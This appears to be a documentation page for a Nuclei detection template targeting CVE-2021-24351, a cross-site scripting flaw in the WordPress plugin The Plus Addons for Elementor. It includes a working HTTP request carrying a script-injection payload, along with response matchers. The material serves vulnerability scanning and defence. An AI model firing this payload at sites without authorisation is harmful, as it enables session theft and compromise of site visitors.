WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting
ID: CVE-2021-24351
Severity: medium
Author: Maximus Decimus
Tags: cve2021,cve,wordpress,wp-plugin,wp,xss,the-plus-addons-for-elementor,wpscan,posimyth
Description
Section titled “Description”WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
YAML Source
Section titled “YAML Source”id: CVE-2021-24351
info: name: WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting author: Maximus Decimus severity: medium description: | WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: | Update to the latest version of WordPress The Plus Addons for Elementor plugin (4.1.12 or higher) to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/2ee62f85-7aea-4b7d-8b2d-5d86d9fb8016 - https://theplusaddons.com/changelog/ - https://nvd.nist.gov/vuln/detail/CVE-2021-24351 - https://github.com/ARPSyndicate/cvemon - https://github.com/JoshMorrison99/my-nuceli-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24351 cwe-id: CWE-79 epss-score: 0.00154 epss-percentile: 0.51646 cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: posimyth product: the_plus_addons_for_elementor framework: wordpress tags: cve2021,cve,wordpress,wp-plugin,wp,xss,the-plus-addons-for-elementor,wpscan,posimyth
http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e
matchers-condition: and matchers: - type: word part: body words: - "<script>alert(document.domain)</script>" - "the-plus-addons-for-elementor" condition: and
- type: word part: header words: - text/html
- type: status status: - 200# digest: 4a0a004730450220106d0206799dabc1cf6942f735e23f17a1317a4fb655f346f6568a6e73c8bbb2022100b32f863853bb66800f095cdcb1ffa82e19ab0b457a2f9f1a58fe9b80e92ba437:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24351.yaml"